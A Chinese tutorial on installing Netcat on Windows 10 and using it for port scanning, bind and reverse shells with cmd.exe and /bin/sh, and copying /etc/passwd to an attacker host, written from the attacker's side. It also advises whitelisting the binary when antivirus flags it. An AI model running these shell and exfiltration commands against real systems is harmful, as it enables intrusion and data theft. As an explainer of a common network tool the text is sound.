Windows 10 安装和使用Netcat
Windows 10 安装和使用Netcat
简介：
Netcat简称nc，netcat是网络工具中的瑞士军刀，它能通过TCP和UDP在网络中读写数据，通过与其它工具结合和重定向，你可以在脚本中以多种方式使用它，使用netcat命令能够完成很多实验。
1.nc下载
网盘链接：https://pan.baidu.com/s/1BHfHtup3OlVxxSovhT1-xQ
提取码：nc12
2.解压到自定义文件夹
解压后的文件如图
3.按照使用指导将nc.exe文件复制到C:\Windows\System32文件中
这里杀毒软件可能会报错，把文件添加到信任区即可。
4.检测是否成功
win+r cmd打开两个命令行
分别输入指令：nc -l -p 7777 （对7777端口开启监听）
之后在下方输入 如果另外一个命令行能监听到即为成功。
nc localhost 7777 （对之前开启的监听进行检验）
这里可以成功进行监听。
| 参数 | 说明 |
|---|---|
| -d | 后台执行 |
| -e prog | 程序重定向，一旦连接，就执行 |
| -g gateway | 源路由跳数,最大值为8(source-routing hop point[s],up to 8) |
| -G num | 源路由指针:4,8,12,… (source-routing pointer: 4,8,12,…) |
| -h | 查看帮助信息 |
| -i secs | 延时的间隔 |
| -l | 监听模式，用于入站连接 |
| -n | 指定数字的IP地址，不能用hostname |
| -o file | 记录16进制的传输 |
| -p port | 本地端口号 |
| -r | 任意指定本地及远程端口 |
| -s addr | 本地源地址 |
| -u | UDP模式（netcat-1.15可以:远程nc -ulp port -e cmd.exe，本地nc -u ip port连接，得到一个shell. ） |
| -w secs | 指定超时的时间 |
| -z | 将输入输出关掉——用于扫描时 |
| -v | 详细输出——用两个-v可得到更详细的内容 |
基本用法
① 端口扫描：
nc -vv ip port
例：nc -vv 192.168.1.1 5000 扫描192.168.1.1的tcp 5000端口
nc -vv -w secs ip port-port
例：nc -vv -w 5 192.168.1.1 5000-5002
扫描192.168.1.1的5000-6000端口，网络超时的时间设为5秒
注意超时时间的单位是秒不是毫秒，另外nc这个用法的扫描效率远不及nmap
②正向连接
被攻击主机的需要是完整版的nc,有些版本的nc没有-e这个参数。
nc -l -p port -e cmd.exe #被攻击主机如果是windows
nc -l -p port -e /bin/sh #被攻击主机是linux
攻击者连接方式很简单：
nc ip port
③反向连接
攻击主机先开始监听端口:
nc -lvvp port
被攻击主机连接攻击者监听的端口:
nc -e cmd.exe ip port #被攻击主机如果是windows
nc -e /bin/sh ip port #被攻击主机是linux
④传送文件
攻击主机先开始监听:
nc -d -l -p port > tmp
被攻击主机再开始传送文件：
nc attack_ip port < /etc/passwd
⑤下载文件
攻击主机先开始监听:
nc -d -l -p port < tmp
被攻击主机再开始下载文件：
nc attack_ip port > tmp
